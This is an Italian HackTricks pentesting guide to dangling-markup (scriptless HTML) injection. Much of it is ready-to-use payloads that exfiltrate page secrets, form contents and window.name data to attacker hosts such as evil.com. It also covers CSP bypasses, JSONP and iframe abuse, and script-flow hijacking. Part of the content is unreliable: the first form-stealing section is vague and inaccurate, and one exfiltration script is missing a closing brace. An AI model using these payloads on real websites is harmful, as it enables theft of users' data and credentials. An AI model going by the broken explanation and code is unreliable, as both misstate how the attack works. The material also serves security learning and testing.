hacktricks/pentesting-web/dangling-markup-html-scriptless-injection/README.md

# Dangling Markup - Iniezione HTML senza script

<details>

<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Altri modi per supportare HackTricks:

* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>

## Riassunto

Questa tecnica può essere utilizzata per estrarre informazioni da un utente quando viene trovata un'**iniezione HTML**. Questo è molto utile se **non riesci a trovare un modo per sfruttare un** [**XSS** ](../xss-cross-site-scripting/)ma puoi **iniettare alcuni tag HTML**.\
È anche utile se qualche **segreto è salvato in chiaro** nell'HTML e vuoi **esfiltrarlo** dal client, o se vuoi ingannare l'esecuzione di uno script.

Diverse tecniche commentate qui possono essere utilizzate per aggirare alcune [**Content Security Policy**](../content-security-policy-csp-bypass/) esfiltrando informazioni in modi inaspettati (tag html, CSS, http-meta tags, forms, base...).

## Principali Applicazioni

### Rubare segreti in chiaro

Se inietti `<img src='http://evil.com/log.cgi?` quando la pagina viene caricata, la vittima ti invierà tutto il codice tra il tag `img` iniettato e la successiva virgoletta all'interno del codice. Se un segreto è in qualche modo presente in quel frammento, lo ruberai (puoi fare la stessa cosa usando un doppio apice, guarda quale potrebbe essere più interessante da usare).

Se il tag `img` è vietato (ad esempio a causa di CSP) puoi anche usare `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
```html
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
```
Nota che **Chrome blocca gli URL HTTP** con "<" o "\n" al loro interno, quindi potresti provare altri schemi di protocollo come "ftp".

Puoi anche sfruttare l'importazione CSS `@import` (invierà tutto il codice fino a quando non trova un ";")
```html
<style>@import//hackvertor.co.uk?     <--- Injected
<b>steal me!</b>;
```
Potresti anche utilizzare **`<table`**:
```html
<table background='//your-collaborator-id.burpcollaborator.net?'
```
È anche possibile inserire un tag `<base`. Tutte le informazioni verranno inviate fino alla chiusura delle virgolette, ma richiede un'interazione dell'utente (l'utente deve fare clic su un link, perché il tag base avrà cambiato il dominio puntato dal link):
```html
<base target='        <--- Injected
steal me'<b>test</b>
```
### Rubare moduli

In alcuni casi, è possibile sfruttare una vulnerabilità di iniezione di markup HTML senza script per rubare i dati inseriti in un modulo da parte degli utenti. Questa tecnica sfrutta il fatto che il markup HTML può essere interpretato anche se non è all'interno di un tag valido.

Per eseguire questo attacco, è necessario individuare un punto vulnerabile nel sito web in cui è possibile inserire del markup HTML non valido. Questo può essere fatto ad esempio attraverso campi di input non adeguatamente sanificati o filtri di input insufficienti.

Una volta individuato il punto vulnerabile, è possibile inserire del markup HTML non valido che includa un tag di chiusura per il tag del modulo desiderato. In questo modo, il browser interpreterà tutto il markup HTML successivo come parte del modulo.

Quando un utente inserisce i propri dati nel modulo e li invia, il browser invierà anche i dati al server. Tuttavia, poiché il markup HTML non valido è stato inserito, il browser invierà anche i dati al punto vulnerabile. In questo modo, è possibile rubare i dati inseriti dagli utenti.

Per prevenire questo tipo di attacco, è fondamentale implementare adeguati controlli di validazione e sanitizzazione dei dati di input. Inoltre, è consigliabile utilizzare librerie o framework che offrano funzionalità di protezione contro attacchi di iniezione di markup HTML.
```html
<base href='http://evil.com/'>
```
Quindi, i moduli che inviano dati al percorso (come `<form action='update_profile.php'>`) invieranno i dati al dominio malevolo.

### Rubare moduli 2

Imposta un'intestazione del modulo: `<form action='http://evil.com/log_steal'>` questo sovrascriverà l'intestazione del modulo successivo e tutti i dati del modulo saranno inviati all'attaccante.

### Rubare moduli 3

Il pulsante può cambiare l'URL a cui verranno inviate le informazioni del modulo con l'attributo "formaction":
```html
<button name=xss type=submit formaction='https://google.com'>I get consumed!
```
Un attaccante può utilizzare questo per rubare le informazioni.

### Rubare segreti in testo normale 2

Utilizzando l'ultima tecnica menzionata per rubare i form (iniettando un nuovo header del form) è possibile iniettare un nuovo campo di input:
```html
<input type='hidden' name='review_body' value="
```
e questo campo di input conterrà tutto il contenuto tra le sue virgolette doppie e le virgolette doppie successive nell'HTML. Questo attacco combina "_**Rubare segreti in testo chiaro**_" con "_**Rubare form2**_".

Puoi fare la stessa cosa iniettando un modulo e un tag `<option>`. Tutti i dati fino a quando viene trovato un `</option>` chiuso saranno inviati:
```html
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
```
### Iniezione di parametri del modulo

È possibile modificare il percorso di un modulo e inserire nuovi valori in modo che venga eseguita un'azione inaspettata:
```html
<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'>                                        ← Injected lines

<form action="/change_settings.php">                        ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value="">             ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>
```
### Rubare segreti in testo normale tramite noscript

`<noscript></noscript>` è un tag il cui contenuto verrà interpretato se il browser non supporta JavaScript (puoi abilitare/disabilitare JavaScript in Chrome su [chrome://settings/content/javascript](chrome://settings/content/javascript)).

Un modo per esfiltrare il contenuto della pagina web dal punto di iniezione fino alla fine verso un sito controllato dall'attaccante sarà iniettare questo:
```html
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
```
### Bypassare CSP con interazione dell'utente

Da questa [ricerca di portswiggers](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) è possibile apprendere che anche negli ambienti **più restrittivi CSP** è ancora possibile **esfiltrare dati** con un po' di **interazione dell'utente**. In questa occasione useremo il payload:
```html
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
```
Nota che chiederai alla **vittima** di **cliccare su un link** che lo **reindirizzerà** a un **payload** controllato da te. Nota anche che l'attributo **`target`** all'interno del tag **`base`** conterrà **contenuto HTML** fino al prossimo singolo apice.\
Ciò farà sì che il **valore** di **`window.name`** quando il link viene cliccato sarà tutto quel **contenuto HTML**. Pertanto, poiché **controlli la pagina** a cui la vittima accede cliccando sul link, puoi accedere a quel **`window.name`** ed **esfiltrare** quei dati:
```html
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
```
### Flusso di script fuorviante 1 - Attacco al namespace HTML

Inserisci un nuovo tag con un id all'interno dell'HTML che sovrascriverà il successivo e con un valore che influenzerà il flusso di uno script. In questo esempio stai selezionando con chi verranno condivise le informazioni:
```html
<input type='hidden' id='share_with' value='fredmbogo'>     ← Injected markup
...
Share this status update with:                              ← Legitimate optional element of a dialog
<input id='share_with' value=''>

...

function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}
```
### Flusso di script fuorviante 2 - Attacco allo spazio dei nomi dello script

Crea variabili all'interno dello spazio dei nomi javascript inserendo tag HTML. Successivamente, questa variabile influenzerà il flusso dell'applicazione:
```html
<img id='is_public'>                                        ← Injected markup

...

// Legitimate application code follows

function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC)                    ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}

function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC;           ← Condition always evaluates to true
...
}
```
### Abuso di JSONP

Se trovi un'interfaccia JSONP potresti essere in grado di chiamare una funzione arbitraria con dati arbitrari:
```html
<script src='/editor/sharing.js'>:              ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}

<script src='/search?q=a&call=set_sharing'>:    ← Injected JSONP call
set_sharing({ ... })
```
Oppure puoi provare ad eseguire del codice JavaScript:
```html
<script src='/search?q=a&call=alert(1)'></script>
```
### Abuso di Iframe

Un documento figlio ha la capacità di visualizzare e modificare la proprietà `location` del suo genitore, anche in situazioni di cross-origin. Ciò consente l'incorporazione di uno script all'interno di un **iframe** che può reindirizzare il client a una pagina arbitraria:
```html
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
```
Questo può essere mitigato con qualcosa del genere: `sandbox=' allow-scripts allow-top-navigation'`

Un iframe può anche essere utilizzato per rivelare informazioni sensibili da una pagina diversa **utilizzando l'attributo name dell'iframe**. Questo perché è possibile creare un iframe che si inframezza da solo sfruttando l'iniezione HTML che fa apparire le **informazioni sensibili all'interno dell'attributo name dell'iframe** e quindi accedere a quel nome dall'iframe iniziale e rivelarlo.
```html
<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>

<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
```
Per ulteriori informazioni, consulta [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)

### \<meta abuso

Puoi utilizzare **`meta http-equiv`** per eseguire **diverse azioni** come impostare un Cookie: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` o eseguire un reindirizzamento (in questo caso, dopo 5 secondi): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`

Questo può essere **evitato** con una **CSP** relativa a **http-equiv** (`Content-Security-Policy: default-src 'self';`, o `Content-Security-Policy: http-equiv 'self';`)

### Nuovo tag HTML \<portal

Puoi trovare una ricerca molto **interessante** sulle vulnerabilità sfruttabili del tag \<portal [qui](https://research.securitum.com/security-analysis-of-portal-element/).\
Al momento della stesura di questo testo, è necessario abilitare il tag portal su Chrome in `chrome://flags/#enable-portals` o non funzionerà.
```html
<portal src='https://attacker-server?
```
### Falle HTML

Non tutti i modi per rivelare la connettività in HTML saranno utili per il Dangling Markup, ma a volte potrebbero essere d'aiuto. Controllali qui: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)

## SS-Leaks

Questo è un **mix** tra **dangling markup e XS-Leaks**. Da un lato, la vulnerabilità consente di **iniettare HTML** (ma non JS) in una pagina della **stessa origine** di quella che attaccheremo. Dall'altro lato, non attaccheremo direttamente la pagina in cui possiamo iniettare HTML, ma **un'altra pagina**.

{% content-ref url="ss-leaks.md" %}
[ss-leaks.md](ss-leaks.md)
{% endcontent-ref %}

## XS-Search/XS-Leaks

XS-Search è orientato a **esfiltrare informazioni cross-origin** sfruttando **attacchi a canali secondari**. Pertanto, è una tecnica diversa dal Dangling Markup, tuttavia, alcune delle tecniche sfruttano l'inclusione di tag HTML (con e senza esecuzione di JS), come l'**iniezione di CSS** o il **caricamento pigro delle immagini**.

{% content-ref url="../xs-search.md" %}
[xs-search.md](../xs-search.md)
{% endcontent-ref %}

## Elenco di rilevamento Brute-Force

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}

## Riferimenti

* [https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057](https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057)
* [http://lcamtuf.coredump.cx/postxss/](http://lcamtuf.coredump.cx/postxss/)
* [http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/](http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/)
* [https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)

<details>

<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Altri modi per supportare HackTricks:

* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF**, controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) **e** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>